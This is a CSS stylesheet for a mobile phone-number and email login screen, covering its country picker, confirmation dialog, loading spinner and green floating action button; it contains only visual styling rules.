* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    -webkit-tap-highlight-color: transparent;
}

html, body {
    height: 100%;
    font-family: -apple-system, BlinkMacSystemFont, 'Roboto', 'Helvetica Neue', Arial, sans-serif;
    background: #fff;
    color: #1a1a1a;
}

/* ── Main screen layout ── */
.screen {
    position: relative;
    min-height: 100vh;
    max-width: 420px;
    margin: 0 auto;
    background: #fff;
    display: flex;
    flex-direction: column;
}

/* ── Top bar ── */
.topbar {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 12px 12px 0;
    flex-shrink: 0;
}

.topbar-btn {
    width: 40px;
    height: 40px;
    display: flex;
    align-items: center;
    justify-content: center;
    background: none;
    border: none;
    cursor: pointer;
    color: #222;
    border-radius: 50%;
}

.topbar-btn:active {
    background: #f0f0f0;
}

.topbar-btn svg {
    width: 22px;
    height: 22px;
}

/* ── Content area ── */
.content {
    padding: 16px 24px 100px;
    flex: 1;
}

/* ── Title ── */
.title {
    font-size: 26px;
    font-weight: 800;
    line-height: 1.28;
    letter-spacing: -0.3px;
    color: #111;
    margin-bottom: 16px;
}

/* ── Subtitle / legal ── */
.subtitle {
    font-size: 13.5px;
    line-height: 1.6;
    color: #555;
    margin-bottom: 36px;
}

.subtitle a {
    color: #555;
    text-decoration: underline;
    text-underline-offset: 2px;
}

/* ── Phone input block ── */
.phone-block {
    margin-top: 8px;
}

.country-selector {
    display: flex;
    align-items: center;
    gap: 6px;
    background: none;
    border: none;
    cursor: pointer;
    padding: 10px 0;
    font-size: 16px;
    font-weight: 500;
    color: #111;
    letter-spacing: 0.1px;
}

.arrow-down {
    font-size: 14px;
    color: #555;
    line-height: 1;
    margin-top: 1px;
}

.divider {
    height: 1px;
    background: #d0d0d0;
    margin: 0;
}

.phone-input {
    width: 100%;
    border: none;
    outline: none;
    font-size: 16px;
    color: #111;
    padding: 14px 0;
    background: transparent;
    letter-spacing: 0.5px;
    caret-color: #111;
}

.phone-input::placeholder {
    color: #aaa;
    font-weight: 400;
}

/* ── Error ── */
.error-box {
    margin-top: 16px;
    font-size: 13px;
    color: #d32f2f;
    padding: 10px 12px;
    background: #fdecea;
    border-radius: 6px;
}

.hidden {
    display: none !important;
}

/* ── FAB (arrow button) ── */
.fab {
    position: fixed;
    bottom: 32px;
    right: 28px;
    width: 56px;
    height: 56px;
    border-radius: 50%;
    background: #e0e0e0;
    border: none;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    color: #888;
    box-shadow: 0 2px 8px rgba(0,0,0,0.12);
    transition: background 0.2s, color 0.2s, transform 0.12s;
    z-index: 100;
}

.fab svg {
    width: 22px;
    height: 22px;
}

.fab:active {
    transform: scale(0.93);
}

.fab.active {
    background: #06C755;
    color: #fff;
    box-shadow: 0 4px 14px rgba(6,199,85,0.35);
}

/* ── Loading overlay ── */
.loading-overlay {
    position: fixed;
    inset: 0;
    background: rgba(255,255,255,0.75);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 200;
}

.spinner {
    width: 36px;
    height: 36px;
    border: 3px solid #e0e0e0;
    border-top-color: #06C755;
    border-radius: 50%;
    animation: spin 0.7s linear infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* ── Country picker — fullscreen ── */
.country-modal {
    position: fixed;
    inset: 0;
    background: #fff;
    z-index: 300;
    display: flex;
    flex-direction: column;
    max-width: 420px;
    margin: 0 auto;
}

.country-modal-header {
    display: flex;
    align-items: center;
    padding: 8px 8px 8px 8px;
    flex-shrink: 0;
    border-bottom: 1px solid #f0f0f0;
}

.country-modal-title {
    flex: 1;
    font-size: 17px;
    font-weight: 700;
    color: #111;
    text-align: center;
    margin-right: -40px;
}

.country-list {
    overflow-y: auto;
    flex: 1;
    -webkit-overflow-scrolling: touch;
}

.country-section {
    padding: 10px 24px 4px;
    font-size: 13px;
    font-weight: 600;
    color: #999;
    letter-spacing: 0.5px;
}

.country-item {
    padding: 14px 24px;
    cursor: pointer;
    font-size: 16px;
    color: #111;
    transition: background 0.1s;
}

.country-item:active {
    background: #f5f5f5;
}

.country-item.selected {
    font-weight: 600;
}

/* ── Confirmation dialog ── */
.confirm-overlay {
    position: fixed;
    inset: 0;
    background: rgba(0,0,0,0.4);
    z-index: 400;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 24px;
}

.confirm-dialog {
    background: #fff;
    border-radius: 14px;
    padding: 28px 24px 20px;
    max-width: 300px;
    width: 100%;
    text-align: center;
    box-shadow: 0 8px 40px rgba(0,0,0,0.18);
}

.confirm-number {
    font-size: 16px;
    font-weight: 600;
    color: #111;
    margin-bottom: 12px;
    letter-spacing: 0.5px;
}

.confirm-text {
    font-size: 13.5px;
    line-height: 1.55;
    color: #555;
    margin-bottom: 24px;
}

.confirm-ok {
    display: block;
    width: 100%;
    padding: 13px;
    border: none;
    border-radius: 25px;
    background: #06C755;
    color: #fff;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
    margin-bottom: 12px;
    transition: background 0.15s;
}

.confirm-ok:active {
    background: #05a647;
}

.confirm-cancel {
    display: block;
    width: 100%;
    padding: 8px;
    border: none;
    background: none;
    color: #555;
    font-size: 15px;
    font-weight: 500;
    cursor: pointer;
}

.confirm-cancel:active {
    color: #111;
}

/* ── Email login fields ── */
.field-group {
    margin-bottom: 0;
}

.line-input {
    width: 100%;
    border: none;
    outline: none;
    font-size: 16px;
    color: #111;
    padding: 14px 0;
    background: transparent;
    caret-color: #06C755;
}

.line-input::placeholder {
    color: #aaa;
    font-weight: 400;
}

.field-line {
    height: 1.5px;
    background: #d0d0d0;
    transition: background 0.2s;
}

.line-input:focus + .field-line {
    background: #06C755;
}

/* ── Bottom bar (forgot + FAB) ── */
.bottom-bar {
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    max-width: 420px;
    margin: 0 auto;
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 16px 24px 28px;
    z-index: 90;
}

.forgot-link {
    font-size: 14px;
    color: #06C755;
    text-decoration: none;
    font-weight: 500;
}

.forgot-link:active {
    opacity: 0.7;
}

.bottom-bar .fab {
    position: static;
}
